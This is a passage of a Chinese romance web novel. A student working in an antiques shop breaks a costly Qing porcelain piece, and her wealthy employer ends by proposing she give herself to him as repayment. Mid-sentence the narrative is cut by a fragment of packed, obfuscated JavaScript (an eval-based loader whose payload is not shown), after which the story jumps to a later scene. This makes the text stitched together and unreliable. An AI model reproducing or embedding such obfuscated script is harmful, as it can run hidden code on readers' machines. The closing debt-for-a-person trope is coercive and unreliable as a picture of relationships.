冯盛细心观察两眼男人的脸色,才开口讲道:“我最近在新研究一种泡茶方法,口感更鲜,不知先生有没有兴趣试试?” 秦拂清指骨揉着太阳穴,疲态渐显,语气里透些沉凉:“茶的事先甭说了,这是在外面偷听了多久?” 没想到一上来底子就被揭穿,冯盛干笑几声,“这屋子隔音这么好,我能听到个啥。” 秦拂清今儿个觉得心累,确实没那么多耐心,直言道:“您想说什么就说吧,别搁这儿打哑迷了。” 冯盛点头,“那我就直说了啊,缊酌这孩子虽然年纪小,但人确实挺不错的,认真又有耐心,客人都夸她呢。如若她哪天无意得罪了您,还请多多担待。” 冯盛不敢把话说满,万一根本没发生什么,倒显得他挺矫情。 “绕半天,您这是给她说情来了?”眼见秦拂清那眉头蹙得愈来愈深,嗓音也沉了下来,“我最近可没少听着这种言论。” 他干脆闭上眼,“行,你们都护着她,合着就我一坏人。” 冯盛觉得自己真是老眼昏花了,他瞧秦先生这副尊荣不像生气,更像是受了委屈似的。 可谁能让他受委屈还憋着开不了口的? 冯盛实在猜不透这里面的是是非非,只能试探着提议:“先生心情不好的话,可以去庄园坐坐,八月份的荷花开得正艳呢。” 秦拂清没应声,安静了好一会儿。 冯盛以为他没兴趣,刚要再说些别的,却见秦拂清直接起了身。 “走吧,去看看。”他说。 - 钟缊酌得知涂敬舟马上要去一家知名外企上班,挺惊讶地跟宋黎若讨论起这事儿。 因为家里人关系,她们还以为他会考公,或者至少去个国企。 “我爸希望我走仕途,但我不喜欢这条路,自己就去投简历了。”涂敬舟在饭桌上跟两人坦白。 “那伯父没意见吗?”宋黎若端起丸子汤喝了一大口。 “嗐,有意见又能怎样,他还能绑了我不成。” 涂敬舟说得轻轻松松,但钟缊酌知道这中间肯定挨了不少责骂。他父亲她也见过,从气场上就能感觉到不是好说话的那一类长辈。 “那伯母支持你吗?”她问。 “还成。”涂敬舟耸耸肩,“我妈挺开明的。” 宋黎若说:“幸好呀,不然你可得受苦呢。” 涂敬舟上班之后,有时回来碰上她们俩,就一起吃个饭或者四处逛逛,主要为了听他讲工作中遇到的各种奇葩事。 对于没经历过职场的两人,可太好奇这些故事了。 时间一天天过去,好像自从秦拂清搬到这大院以来,钟缊酌很少能遇见过他,除了那一次。 那天她正和涂敬舟在院儿里的一颗老杨树下逗猫,嘚瑟说自己最近养猫很有心得。 一辆黑车疾驰而过,停在了对面的报刊亭旁。 钟缊酌看着下来的人背影有些眼熟,很快认出那是秦拂清的秘书季昌。 季昌去买了一份报纸,他将报纸摊开后小心拿在手上,回头时正好对上了小姑娘的视线。 “季总,来买报纸呀。”出于礼貌,她主动打了声招呼。 季昌微笑着点头,“给秦总买的。” 其实不用他说,钟缊酌也能猜到,秦拂清应该就坐在车里。 可他人没有下来,甚至窗户都没打开,她也不好冒然前去打招呼。 钟缊酌透过玻璃窗向里看,不知道里面的人在想什么。 直到车子离开,涂敬舟过来跟她说话,钟缊酌才恍然回过神。 最近发生的一些事,让她内心隐隐升出来一个念头。 好像自从那次车祸之后,秦拂清对她的态度就不一样了。 钟缊酌不知道自己是否真的让他记恨上了,还特意找来宋黎若复盘了一番。 “你说这些大人物是不是都这么好面子,还是我真哪里做得不对?” “或许吧,我也不懂。我家人是在边缘部门工作,没那么多乱七八糟的事。” 宋黎若分析着,“不过我听说,他们内部勾心斗角现象确实蛮严重的,会不会因为你在秦拂清那儿打工,他把你当自己人,然后觉得你这样做背叛了他?” 钟缊酌听完只觉得头都大了。心想,和这些人相处可真耗费脑细胞。 不过她已经没时间琢磨这些事,马上就要开学。 除了要保证专业课成绩,钟缊酌希望能在这一年顺利考过雅思。 八月底的那一天是周六。 这天也是暑期最后一次来古玩馆,钟缊酌送走客人后,坐在桌旁专心看书。 小虎大概是刚刚在院子里跑得累了,这会儿就趴在她脚边伸了个懒腰,眼睛一眯打起盹儿来。 忽然之间,从外头传来一阵刷刷的声音,好似有什么东西在窗沿上走过。 钟缊酌下意识抬头望去。 只见一只姜黄色的大猫正贴在窗户边,用那只尖尖的爪子挠着玻璃,表情狰狞,似乎很想找个缝隙钻进来。 钟缊酌不知道这只猫从哪里来的,也许是只野猫,她拿笔敲了敲窗户,试图将它轰走。 然而这一举动并没有吓住它,反而激起了它的斗志。大黄猫开始“喵喵”地怪叫起来,声音极其尖锐。 钟缊酌站起身,想找个棍子过来,不料,脚边的小虎受惊似地突然睁开了眼睛。 她来不及反应,小虎已经蹿到了桌子上,直奔向旁边的展示柜。 “小虎!别!” 钟缊酌冲过去,就在指尖即将碰到毛发的一瞬间,那道银色条纹“嗖”一下消失在了眼前。 原来它只是想要借助柜子的边框蹬往更高处。 只见小虎纵身一跃跳上了展示柜顶部,站在上面和窗外的大黄猫“喵喵”地对峙起来。那样子似乎在说虽然我个头小,但我站得高,就不怕你。 而另一边的钟缊酌已经没心思为它鼓掌叫好了,她惊呼一声,手上的力度扑了个空,直接将一盏青花瓷打翻在地。 “哗啦”地碎裂声响彻了整个屋子。 钟缊酌心脏扑通扑通地跳,脸色煞白,在原地呆愣了许久。 她想,这下真的完了,闯大祸了。 如果没记错的话,这是清朝的瓷器。 钟缊酌手指开始止不住地颤抖,她在脑中回忆着这件瓷器的价格,应该是五百万左右。 也就是说如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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钟缊酌双肩不自觉绷直,主动开口承认错误:“对不起秦先生,这件瓷器我赔不起,但我可以打工偿还。” 不知是否因自己做错了事,亦或者被他骇人的气场震慑住,她竟下意识喊回了秦先生。 钟缊酌已经想好了,她打算以后免费给秦拂清来打工,就算毕业了去工作,每周六她还可以过来,一直到还清为止。 “你会的那点儿东西能值多少日薪,这辈子赎得回来吗?” 低沉醇厚的嗓音入耳,秦拂清语气平静,却让人莫名感受到了一股压迫感。 他轻轻抚着猫咪的后背,“你不是第一次犯错了,我记得我和你说过,成年人要为自己犯的错误负责。” 钟缊酌沉默下来。 秦先生不缺这一件瓷器,她是知道的。可倘若他非要计较起来,五百万的赔款,也不是个小数目。 钟缊酌手指蜷缩起来,紧紧抓着衣服的布料,声音里透着些无力:“我知道,我毕业工作之后会尽快攒钱,请您给我一点时间。” 说不清是什么感觉,秦拂清的态度让她看不透。 他好像对这件事没那么在意,冯伯说他看也没看就吩咐将那些碎片丢掉,甚至没想做修复。但此刻面对着她,仍然散发着一股难以言喻的威慑感。 估摸是逗得累了,秦拂清随手将桌上的一颗玉石扔进了猫笼。 小虎抖了抖身上的毛,很有默契地从他腿上跳开,钻进了笼子里。 他掀起眼皮,身子往后一靠,漆黑锋锐的眼睛望了过来:“不过我倒是可以给你个建议。” 如抓住救命稻草般地,钟缊酌立即昂起头,语气恭恭敬敬:“您请说。” 伴随着猫咪手掌摩擦玉石的沙沙声,空气有片刻的沉寂。 时间在一秒一秒地流逝,秦拂清的目光缓缓落在了她身上。 像那燃烧不灭的余烬,炙热,焦灼。 他说:“把你赔给我,怎么样。”